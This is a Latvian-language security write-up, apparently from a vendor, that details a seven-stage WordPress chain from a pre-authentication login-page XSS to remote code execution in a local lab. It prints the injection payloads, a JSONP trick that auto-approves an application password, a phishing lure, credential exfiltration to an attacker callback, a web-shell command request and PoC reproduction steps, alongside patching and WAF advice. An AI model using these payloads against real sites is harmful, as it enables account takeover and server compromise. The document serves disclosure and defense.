XSS2Shell: No nulles līdz apvalkam WordPress vidē

Praktisks pārskats par XSS ķēdi pirms autentifikācijas, kas var pāraugt attālinātā koda izpildē WordPress Core, demonstrēts lokālā Docker laboratorijā.

Tikai ar atļauju veikta testēšana.

Viss tālāk norādītais tika veikts pret lokālu laboratoriju (WordPress 7.0.2 uz localhos). Neizmantojiet šīs metodes pret sistēmām, kuras jums nepieder vai kurām jums nav skaidras atļaujas testēt.

Izpildu kopsavilkums

XSS2Shell nav viena kļūda — tā ir septiņu posmu izmantošanas ķēde, kas sākas ar vienu rakstzīmi (< kam seko atstarpe), apejot divus dažādus HTML parsētājus WordPress pieteikšanās lapā, un beidzas ar PHP izpildi serverī kā www-data.

Kas padara to bīstamu:

  1. 1. posms neprasa autentifikāciju — ikviens var aktivizēt JavaScript uz wp-login.php.
  2. Tas atrodas WordPress Core — nevis spraudnī; praktiski katra atbalstītā instalācija kopš 2016. gada ir ietekmēta.
  3. Tas izmanto WordPress pašu kodu — user-profile.js, REST JSONP, lietojumprogrammu paroles, spraudņu augšupielādi — kā rīkus.
  4. Pilna RCE ir demonstrēta un atzīta no WordPress — lai gan tā prasa pieteikušos administratoru apmānīt uz vienu klikšķi.

Šajā rakstā ir apskatīts katrs posms ar ekrānuzņēmumiem no mūsu lokālās laboratorijas.

Laboratorijas vide

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 uz http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Katra WordPress vietne atklāj /wp-login.php. Šī lapa ir ieejas punkts visai ķēdei.

0. posms: Parsētāja diferenciāls (galvenais cēlonis)

Kad pieteikšanās neizdodas, WordPress atkārto ievadīto lietotājvārdu kļūdas ziņojumā. Lietotājvārds tiek apstrādāts ar diviem dezinficētājiem, kas nepiekrīt tam, kas ir "tags":

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Derīgā krava izmanto atstarpi aiz<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

Neaizsargātā WordPress 7.0.2 versijā tas iztur sanitizāciju un kļūst par aktīvu DOM:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

Labotajā WordPress 7.0.4 versijā tas pats derīgais saturs kļūdas ziņojumā tiek HTML-ekranēts — nav aktīvu elementu.

Šī kļūda pastāv kopš WordPress 4.7 (2016) un gadu gaitā tika palaista garām drošības auditos.

1. posms: XSS pirms autentifikācijas (pieteikšanās nav nepieciešama)

Injicētie DOM mezgli atbilst selektoriem, kurus meklē WordPress paša user-profile.js pieteikšanās lapā (ielādēts paroles atiestatīšanas plūsmai):

  1. .reset-pass-submit .wp-generate-pw tiek automātiski noklikšķināts lapas ielādes laikā
  2. Klikšķis pārplūst uz #color-picker deleģēto apstrādātāju
  3. Sarga pārbaude user_id === checkuser_id iztur, jo abi ir undefined
  4. jQuery veic POST uz ajaxurl — bet ajaxurl nepastāv pieteikšanās lapā…

Ja vien mēs to neaizstājam:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Elements <area id=ajaxurl> kļūst par window.ajaxurl. jQuery izsauc .toString() → atgriež href. WordPress REST atgriež JSONP → jQuery globalEval() → alert()tiek izpildīts WordPress izcelsmes kontekstā.

Stage 1 demo page
Stage 1 demo page

Iesniedziet veidlapu (vai atveriet demo/stage1-preauth-xss.html un noklikšķiniet uz Palaist 1. posmu):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Ietekme tikai šajā posmā: akreditācijas datu pikšķerēšana reālajā domēnā, sesijas izmantošana, tās pašas izcelsmes API izsaukumi — bez jebkādas autentifikācijas.

2. posms: Sociālā inženierija — administratora klikšķis

2.–7. posms prasa, lai pieteicies administrators atvērtu uzbrucēja kontrolētu lapu. Šī ir berze, kas saglabā CVSS zem 10 — taču mērķtiecīgiem uzbrukumiem tā ir reālistiska.

Administrators var saņemt: "Jūsu sesija beidzās — noklikšķiniet šeit, lai atkārtoti autentificētos."

Simulated phishing lure page
Simulated phishing lure page

Kad tiek noklikšķināts, uzbrucēja lapa:

  1. Atver pakārtoto uznirstošo logu (about:blank)
  2. Novirza galveno logu uz WordPress lietojumprogrammu paroļu autorizācijas lapu
  3. Ieraksta XSS veidlapu bērna uznirstošajā logā un automātiski to iesniedz uz wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

3. posms: Vienādas izcelsmes metodes izpilde (SOME) — automātiska apstiprināšana

Bērna loga XSS kravs maina JSONP atzvanīšanu no alert uz:

window.opener.approve.click

WordPress REST ietina atbildi:

/**/window.opener.approve.click({...})

Izpildlaikā tiek atrisināts window.opener (vecākais logs) → .approve (poga #approve) → .click(). Lietojumprogrammas paroles poga Apstiprināt tiek noklikšķināta automātiski — bez jebkādas lietotāja mijiedarbības tajā lapā.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Ievērojiet atzvanīšanas URL lapā: akreditācijas dati tiks nosūtīti uz http://127.0.0.1:9090/callback?...&password=[------].

4. posms: Lietojumprogrammas paroles iegūšana

WordPress izveido jaunu lietojumprogrammas paroli un novirza uz uzbrucēja success_url, iekļaujot akreditācijas datus vaicājuma virknē:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

Uzbrucējam tagad ir HTTP Basic auth akreditācijas dati WordPress REST API — iegūti no administratora pašu sesijas, bez tam, ka administrators kaut ko ierakstītu pēc sākotnējā saites klikšķa.

5. posms: Uzbrucēja kontrolētas lapas publicēšana

Izmantojot nozagto lietojumprogrammas paroli, uzbrucējs veic POST pieprasījumu uz /wp-json/wp/v2/pages un publicē lapu ar iegultu JavaScript kodu. Administratoriem ir unfiltered_html tiesības — skripta tagi tiek saglabāti.

6. posms: Spraudņa augšupielāde, izmantojot administratora sesiju

Uzbrucēja JavaScript kods (darbojas administratora pārlūkprogrammā publicētajā lapā):

  1. Iegūst /wp-admin/plugin-install.php?tab=upload augšupielādes vienreizējo marķieri
  2. Veic POST pieprasījumu ar ļaunprātīgu ZIP failu uz /wp-admin/update.php?action=upload-plugin
  3. WordPress izpako to uz wp-content/plugins/xss2shell/

Spraudnim nav jābūt aktivizētam. PHP faili spraudņa direktorijā ir tieši pieejami caur tīmekli.

7. posms: Attālinātā koda izpilde

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Atbilde:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Uzbrucējs tagad izpilda patvaļīgas komandas kā tīmekļa servera lietotājs — nolasa wp-config.php (datu bāzes akreditācijas dati), izgūst datu bāzi, veic laterālu kustību.

Pilna PoC termināļa izvade:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Pilna ķēde īsumā

sequenceDiagram participant A as Uzbrucēja serveris participant V as Upura pārlūkprogramma participant W as WordPress 7.0.2 Note over V,W: Administrators ir pieteicies V->>A: Atver pikšķerēšanas saiti (1 klikšķis) A->>V: Uzbrucēja HTML + pakārtotais uznirstošais logs V->>W: Galvenais logs → authorize-application.php V->>W: Pakārtotais logs POST XSS derīgo kravu uz wp-login.php W->>V: JSONP izpilda window.opener.approve.click Note over V,W: Apstiprināšanas poga noklikšķināta automātiski W->>A: Novirzīšana ar lietojumprogrammas paroli A->>W: REST API publicē lapu (Basic auth) V->>W: Administrators apmeklē lapu → augšupielādē spraudņa ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Cik tas tiešām ir bīstami?

Kas ir garantēts (augsta pārliecība)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Kas prasa papildu nosacījumus (RCE ceļš)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Smaguma kalibrēšana

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Galvenā atziņa: Šis nav tārpveidīgs nulles klikšķu RCE kā Log4Shell. Tas ir dziļi tehniska, Core līmeņa ievainojamība, kas ietekmē ~43% tīmekļa, kur:

  • 1. posms vien ir nopietns XSS pirms autentifikācijas pieteikšanās lapā
  • Pilnā ķēde pārveido vienu administratora klikšķi servera kompromitācijā
  • Saknes cēlonis (parsētāja atšķirība) attiecas uz jebkādu kodu bāzi, kas izmanto vairākus HTML parsētājus

WordPress paša paziņojumā teikts, ka RCE prasa "apstākļus, kas ir ārpus uzbrucēja kontroles" un "veiksmīgu sociālo inženieriju." Tas ir precīzi — taču demonstrētā ķēde padara šos apstākļus sasniedzamus ar vienu saiti.

Reproducēt pilno ķēdi lokāli

# 1. Startēt laboratoriju make up # 2. Iespējot lietojumprogrammu paroles uz HTTP (tikai laboratorijā) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Startēt PoC klausītāju python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. Pārlūkprogrammā: # a. Pieteikties kā administrators vietnē http://localhost:9080/wp-login.php # b. Atvērt http://127.0.0.1:9091/phishing-sim.html # c. Noklikšķināt "Open attacker page" (atļaut uznirstošos logus) # d. Gaidīt terminālī izvadi ar shell + whoami

Aizsardzība

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Labojums pievieno esc_html() lietotājvārdam pieteikšanās kļūdas ceļā — nodrošinot, ka virkne tiek apstrādāta kā teksts, nevis atkārtoti parsēta kā HTML.

Kāpēc tas ir svarīgi drošības pētījumiem

Katra ķēdes saite atsevišķi ir garlaicīga:

  • Parsētāja atšķirība → zemas smaguma pakāpes uzturēšanas darbs
  • Nepareizs skripts ielādēts pieteikšanās lapā → zems
  • JSONP atzvans validēts ar regulāro izteiksmi → vidējs
  • Lietojumprogrammas parole novirzīšanas URL → vidējs
  • Spraudņu direktorijs izpilda PHP bez aktivizācijas → zināms dizains

Kopā tie ir CVSS 8.9 un čaula.

Mācība: vērtējot XSS atradumi, jautājiet "kas jau ir ielādēts šajā lapā un ko tas darīs, ja tam iedošu pareizos DOM mezglus?" Nopietnība ir ķēdes, nevis atsevišķās kļūdas īpašība.

Atsauces

Izvēlieties reģionu un valodu

Reģions
Valoda
Vēlaties redzēt, kā darbojas „CyberTested“?
Rezervējiet bezmaksas demonstrāciju